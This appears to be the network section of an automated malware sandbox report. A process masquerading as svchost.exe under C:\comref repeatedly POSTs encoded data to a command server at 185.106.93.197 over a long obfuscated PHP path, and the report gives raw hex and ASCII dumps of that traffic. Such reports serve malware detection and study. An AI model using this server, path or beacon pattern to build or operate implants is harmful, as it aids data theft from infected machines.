                                                                      Aug 28, 2024 11:21:13.084187984 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:13.084295034 CEST6039580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:13.084595919 CEST6039580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:13.090396881 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:13.768928051 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:13.926173925 CEST6039580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:23.795258999 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:23.795279980 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:23.795336962 CEST6039580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:37.688155890 CEST6039580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:37.688523054 CEST6039580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:37.694406033 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:37.694421053 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:37.694437027 CEST8060395185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:37.694694996 CEST8060395185.106.93.197192.168.2.7

                                                                      UDP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Aug 28, 2024 11:17:39.091234922 CEST53512621.1.1.1192.168.2.7
                                                                      Aug 28, 2024 11:17:52.635234118 CEST53494651.1.1.1192.168.2.7

                                                                      HTTP Request Dependency Graph

                                                                      • 185.106.93.197

                                                                      HTTP Packets

                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      0192.168.2.749708185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:16.385152102 CEST414OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 344
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:16.737906933 CEST344OUTData Raw: 00 05 04 06 03 0a 01 03 05 06 02 01 02 07 01 04 00 05 05 01 02 07 03 09 03 05 0d 56 05 04 00 03 0e 01 06 00 01 0c 06 55 0f 05 06 07 05 03 05 51 05 03 0c 5e 0e 00 04 52 07 0f 05 01 04 04 00 0c 01 02 0f 0a 00 05 04 01 0e 54 0c 0e 0e 07 0c 54 06 06
                                                                      Data Ascii: VUQ^RTT^T\L~@|sfO`biLb[pO~lSwRc_k]kZ{UoElvm|Ntw^ie~V@A{Cn}Lu
                                                                      Aug 28, 2024 11:17:17.071170092 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:17.237724066 CEST1236INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:16 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 1352
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 56 4a 7e 43 78 54 7c 5f 7b 5c 7f 5b 68 61 7c 5b 7d 77 78 54 7e 60 7d 09 7a 73 68 4f 7f 72 5d 5b 63 73 65 08 7b 72 7a 5a 76 48 74 02 7e 71 78 01 55 4b 71 4f 63 62 7b 01 7c 72 5b 4d 7d 64 76 08 78 66 5a 0c 7c 70 6b 00 77 72 6d 4f 63 5f 75 01 68 5f 6a 04 69 6f 78 40 7e 77 68 59 62 5c 7b 06 7c 5c 6d 49 6a 59 7e 5e 78 74 73 59 6f 59 5e 01 6c 6d 5a 5c 79 71 60 48 7b 05 7e 41 7f 5e 68 4b 78 77 5d 5e 7c 62 55 07 75 72 63 59 7a 51 41 5b 68 59 74 0c 68 58 6e 55 61 6f 63 5f 7a 6c 63 59 63 5e 5c 43 6d 4f 62 5c 7d 42 54 07 78 4f 58 49 62 5a 67 06 61 07 78 05 63 5f 54 50 7e 5d 79 5f 77 4c 6e 5d 61 66 60 09 7e 6f 76 5c 77 7c 70 04 7c 70 7c 00 78 6f 6f 03 6c 4e 66 06 7c 6d 7c 08 77 77 6c 02 7e 62 5c 09 69 54 7b 42 6c 0b 72 4c 7e 5b 66 5e 7b 5d 46 51 7f 6f 63 55 7d 63 60 0c 69 67 72 01 78 54 74 5a 6c 62 64 01 7f 62 60 59 7c 67 55 0b 6b 59 7a 51 7b 63 5a 42 7f 72 73 5a 74 05 69 51 7b 5c 79 02 75 76 68 07 7c 66 70 03 7d 76 71 40 76 72 55 44 7c 4c 65 4d 7c 77 66 0a 7b 58 74 41 7c 63 67 02 75 4c 79 4f 76 61 61 04 7f 71 [TRUNCATED]
                                                                      Data Ascii: VJ~CxT|_{\[ha|[}wxT~`}zshOr][cse{rzZvHt~qxUKqOcb{|r[M}dvxfZ|pkwrmOc_uh_jiox@~whYb\{|\mIjY~^xtsYoY^lmZ\yq`H{~A^hKxw]^|bUurcYzQA[hYthXnUaoc_zlcYc^\CmOb\}BTxOXIbZgaxc_TP~]y_wLn]af`~ov\w|p|p|xoolNf|m|wwl~b\iT{BlrL~[f^{]FQocU}c`igrxTtZlbdb`Y|gUkYzQ{cZBrsZtiQ{\yuvh|fp}vq@vrUD|LeM|wf{XtA|cguLyOvaaqv}R^}gcuaQHx\_J~NqIxYhxg`LymsFybp{]nA|^^{gpD~\Uvq|}B{|wtO|amvRpxlhKtpzz_e||~OxOXIv]Qv_xtOrANzNwrqwetByMtB^|Mly|{z`jKSttwxO}bz}So{SvA~L}@`dAlZ}NV}g\Lz}sxLp|qkJ|gcN[zcxMbRIwMqAyqWvXd}XZ~v[wbk|LaLYT@{v^~MQvritOi|q~~BR~wcuawJ{r[|`Sxwpyw^B{mkFyrdK{cz{]NZlY|irca_pG}lh^|kbbQuUl{dc^fzaaGjBP_z\y\}b`g{ZL~JxY~`bT]vfthlqwl|~sUYols{p[[hSR@tgZN~b[RzSYQQTGSchcQUlP|wxiw_Yom{JobxFb`_~wlPhcumcQYjr{YwZfTyOyKwaxVK{YjeO[~d]SaSQ^eAReoBWt{q\_CwqaE|azK|RxCyZEZbdFVq@iTFnwDR{R\yPx~mnVVb`OSMp@^Q_QtD\bQ@QTKhdUHPPwQsyo`RVnc@UL}CzUWZWqB\`RCZYOcbSISs[jYq[VQeT[\u{s[k`DTp`\TcUQToWXdCd[qLij|R
                                                                      Aug 28, 2024 11:17:17.237739086 CEST345INData Raw: 5a 54 4f 72 6d 50 07 7b 4a 7b 51 4e 50 6a 06 67 4e 50 74 4f 05 6f 0b 5e 46 6e 04 7f 47 55 62 07 03 50 5d 5a 7c 53 06 62 54 7d 5d 56 5c 66 60 78 58 75 74 7a 56 6e 62 09 44 5a 7a 67 5c 52 65 04 51 69 00 01 09 5b 58 60 4a 57 63 05 5d 50 64 66 50 79
                                                                      Data Ascii: ZTOrmP{J{QNPjgNPtOo^FnGUbP]Z|SbT}]V\f`xXutzVnbDZzg\ReQi[X`JWc]PdfPy[snQZ^baiQljXUreKyQBPjdE[rJoTEkvET]kDT^o@R||Gmq`Xz^}ycgp@^Q_QtD\bQ@QTXPSbUZVkylo]p^XP`XIWTQdb][ZZYaf|EpXSUSqD]a\EZ]Kh`bE]po^kdpRgEy^PKStPup
                                                                      Aug 28, 2024 11:17:17.281449080 CEST390OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 384
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:17.493315935 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:17.493779898 CEST384OUTData Raw: 5e 52 5e 5d 5d 50 5c 57 5b 57 5a 59 52 5b 54 57 54 50 5e 5d 57 54 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^]]P\W[WZYR[TWTP^]WTZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"85?7!-(%)<"?:8%!8('6Y?*=!/"+"Y %X!
                                                                      Aug 28, 2024 11:17:17.716674089 CEST324INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:17 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5c 34 2d 02 0e 25 55 3b 02 3b 01 2d 0f 29 12 28 5f 29 54 27 01 33 3e 02 10 24 2b 3c 57 33 01 37 06 30 32 29 58 26 3d 37 1e 26 1c 2d 5f 06 11 26 1a 34 38 22 07 3b 32 30 54 29 5b 27 03 23 3e 3b 5c 3e 20 36 0e 22 07 2c 05 3f 3c 36 56 2f 21 25 10 29 14 26 5d 2c 3d 09 0e 25 10 21 52 0c 17 21 0a 3f 39 3f 01 23 2b 26 57 30 0c 3c 0d 37 3f 2a 0d 33 3f 2b 1c 24 5c 23 0b 3c 16 24 1c 24 3e 38 56 25 05 3d 12 25 3f 34 0d 39 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $\4-%U;;-)(_)T'3>$+<W3702)X&=7&-_&48";20T)['#>;\> 6",?<6V/!%)&],=%!R!?9?#+&W0<7?*3?+$\#<$$>8V%=%?499.S"-H=TM
                                                                      Aug 28, 2024 11:17:17.749490976 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1840
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:17.970599890 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:17.970833063 CEST1840OUTData Raw: 5e 52 5e 54 58 58 59 52 5b 57 5a 59 52 5d 54 55 54 5a 5e 5f 57 50 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^TXXYR[WZYR]TUTZ^_WPZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!@/&\<877#'93!]$S,8=!($$,*(>Z"<>("Y %X!'
                                                                      Aug 28, 2024 11:17:18.375324011 CEST324INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:17 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5d 20 5b 3f 19 25 0d 2c 5d 3b 01 22 55 2a 5a 3c 1d 29 32 38 5e 33 3e 30 10 24 2b 3c 1c 33 38 33 0b 24 32 3d 1b 24 3e 2b 54 32 0c 2d 5f 06 11 26 1c 21 38 00 07 3b 0c 3c 1e 3e 13 23 04 36 00 09 58 3d 33 36 0e 20 2d 3b 5e 3d 02 3a 1d 2c 0f 3a 0f 2a 14 25 04 3b 3e 34 51 24 2a 21 52 0c 17 22 53 3f 39 33 01 37 38 08 1f 27 1c 33 52 34 3c 3e 0e 27 01 37 1d 24 04 28 10 28 06 3b 0e 24 2e 0a 55 25 2b 35 59 24 2f 23 18 3a 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $] [?%,];"U*Z<)28^3>0$+<383$2=$>+T2-_&!8;<>#6X=36 -;^=:,:*%;>4Q$*!R"S?9378'3R4<>'7$((;$.U%+5Y$/#:9.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      1192.168.2.749709185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:17.443831921 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:17.799916029 CEST2512OUTData Raw: 5b 51 5e 5d 58 5b 59 51 5b 57 5a 59 52 54 54 51 54 5f 5e 5e 57 5f 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q^]X[YQ[WZYRTTQT_^^W_Z_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";1:<? .<19^!;U9;#&/*[<:[6/![*)"Y %X!
                                                                      Aug 28, 2024 11:17:18.130306959 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:18.268723011 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:18 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      2192.168.2.749710185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:18.745690107 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:19.096940994 CEST2512OUTData Raw: 5b 5b 5b 5f 58 58 59 54 5b 57 5a 59 52 5d 54 56 54 5c 5e 5e 57 52 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[[_XXYT[WZYR]TVT\^^WRZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";!.< !.,X1Z5,T.].R4,$<1?6Y51<9"Y %X!'
                                                                      Aug 28, 2024 11:17:19.405234098 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:19.536516905 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:19 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      3192.168.2.749711185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:19.752758980 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:20.096744061 CEST2504OUTData Raw: 5b 56 5b 5f 58 5f 59 51 5b 57 5a 59 52 5c 54 50 54 5e 5e 58 57 56 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V[_X_YQ[WZYR\TPT^^XWVZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"8T.?# \1$ ;:; 06?)#?&?9"Y %X!3
                                                                      Aug 28, 2024 11:17:20.468700886 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:20.598416090 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:20 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      4192.168.2.749715185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:21.037096977 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:21.393640041 CEST2512OUTData Raw: 5e 56 5e 5d 5d 5b 5c 55 5b 57 5a 59 52 58 54 57 54 5b 5e 5a 57 57 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^V^]][\U[WZYRXTWT[^ZWWZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",25(^$^7=7296;<W-+Q78 Y3=?9!!)<9"Y %X!3
                                                                      Aug 28, 2024 11:17:21.727546930 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:21.852617025 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:21 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      5192.168.2.749718185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:22.356537104 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:22.711538076 CEST2512OUTData Raw: 5e 51 5e 55 5d 5e 59 56 5b 57 5a 59 52 5b 54 53 54 50 5e 5e 57 5f 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q^U]^YV[WZYR[TSTP^^W_ZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/-<8#4^27"(<U.=#,Z$+*6"%]<"Y %X!
                                                                      Aug 28, 2024 11:17:23.031441927 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:23.156459093 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:22 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      6192.168.2.749719185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:23.521380901 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1840
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:23.878211021 CEST1840OUTData Raw: 5b 57 5e 5e 5d 5b 5c 57 5b 57 5a 59 52 55 54 56 54 50 5e 53 57 5f 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [W^^][\W[WZYRUTVTP^SW_ZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!E;2:(^'#.(Y%$X6?.+ ;3$,!+Z6=]*9"Y %X!
                                                                      Aug 28, 2024 11:17:24.235601902 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:24.365592957 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:24 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 15 23 3d 3b 52 27 23 3f 04 2e 28 0b 09 2a 02 0e 5a 3e 22 20 5e 27 07 33 0f 27 16 2c 54 24 06 0e 1b 33 21 35 5f 33 04 2b 54 26 0c 2d 5f 06 11 25 45 34 2b 21 5c 3b 32 09 0a 2a 3d 28 1e 22 58 3b 59 3e 30 35 53 35 00 2f 18 3f 2c 08 50 38 31 32 0d 2a 39 2e 16 2e 2e 20 19 25 3a 21 52 0c 17 22 18 2b 00 2c 59 34 01 21 0a 27 0c 28 0a 23 59 35 50 24 2f 2b 50 27 3a 23 0c 2b 01 3b 0b 31 2e 24 55 32 02 35 5d 30 2c 34 09 2d 03 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $#=;R'#?.(*Z>" ^'3',T$3!5_3+T&-_%E4+!\;2*=("X;Y>05S5/?,P812*9... %:!R"+,Y4!'(#Y5P$/+P':#+;1.$U25]0,4-.S"-H=TM
                                                                      Aug 28, 2024 11:17:24.577871084 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:24 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 15 23 3d 3b 52 27 23 3f 04 2e 28 0b 09 2a 02 0e 5a 3e 22 20 5e 27 07 33 0f 27 16 2c 54 24 06 0e 1b 33 21 35 5f 33 04 2b 54 26 0c 2d 5f 06 11 25 45 34 2b 21 5c 3b 32 09 0a 2a 3d 28 1e 22 58 3b 59 3e 30 35 53 35 00 2f 18 3f 2c 08 50 38 31 32 0d 2a 39 2e 16 2e 2e 20 19 25 3a 21 52 0c 17 22 18 2b 00 2c 59 34 01 21 0a 27 0c 28 0a 23 59 35 50 24 2f 2b 50 27 3a 23 0c 2b 01 3b 0b 31 2e 24 55 32 02 35 5d 30 2c 34 09 2d 03 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $#=;R'#?.(*Z>" ^'3',T$3!5_3+T&-_%E4+!\;2*=("X;Y>05S5/?,P812*9... %:!R"+,Y4!'(#Y5P$/+P':#+;1.$U25]0,4-.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      7192.168.2.749723185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:26.783189058 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
